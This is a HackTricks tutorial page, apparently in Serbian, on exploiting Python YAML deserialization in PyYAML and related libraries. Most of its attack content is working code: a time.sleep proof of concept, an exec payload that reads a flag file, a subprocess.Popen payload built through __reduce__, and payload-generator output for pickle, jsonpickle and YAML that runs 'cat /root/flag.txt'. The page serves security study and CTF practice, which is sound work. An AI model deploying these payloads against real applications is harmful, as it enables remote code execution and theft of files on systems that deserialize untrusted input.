Python Yaml Deserialization

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
Nabavite zvanični PEASS & HackTricks swag
Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Yaml Deserializacija

Yaml python biblioteke takođe mogu da deserijalizuju python objekte a ne samo sirove podatke:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Proverite kako tuple nije sirovi tip podataka i zbog toga je bio serijalizovan. Isto se desilo sa range (preuzeto iz ugrađenih funkcija).

safe_load() ili safe_load_all() koriste SafeLoader i ne podržavaju deserijalizaciju objekata klase. Primer deserijalizacije objekata klase:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Prethodni kod je koristio unsafe_load da učita serijalizovanu python klasu. Ovo je zato što u verziji >= 5.1, ne dozvoljava da se deserijalizuje bilo koja serijalizovana python klasa ili atribut klase, sa Loaderom koji nije naveden u load() ili Loader=SafeLoader.

Osnovni Exploit

Primer kako izvršiti sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Ranjiv `.load("\<sadržaj>")` bez Loader-a

Stare verzije pyyaml-a bile su ranjive na napade dekserijalizacije ako niste navedli Loader prilikom učitavanja nečega: yaml.load(data)

Možete pronaći opis ranjivosti ovde. Predloženi eksploit na toj stranici je:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ili možete koristiti ovaj jednolinijski kod koji je obezbedio @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Napomena da u novijim verzijama više ne možete pozvati .load() bez Loader-a i FullLoader više nije ranjiv na ovaj napad.

RCE

Prilagođeni payload-ovi mogu biti kreirani korišćenjem Python YAML modula kao što su PyYAML ili ruamel.yaml. Ovi payload-ovi mogu iskoristiti ranjivosti u sistemima koji deserijalizuju nepouzdan unos bez odgovarajuće sanizacije.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Alat za kreiranje Payload-ova

Alat https://github.com/j0lt-github/python-deserialization-attack-payload-generator može se koristiti za generisanje python deserializacijskih payload-ova kako bi se zloupotrijebili Pickle, PyYAML, jsonpickle i ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Reference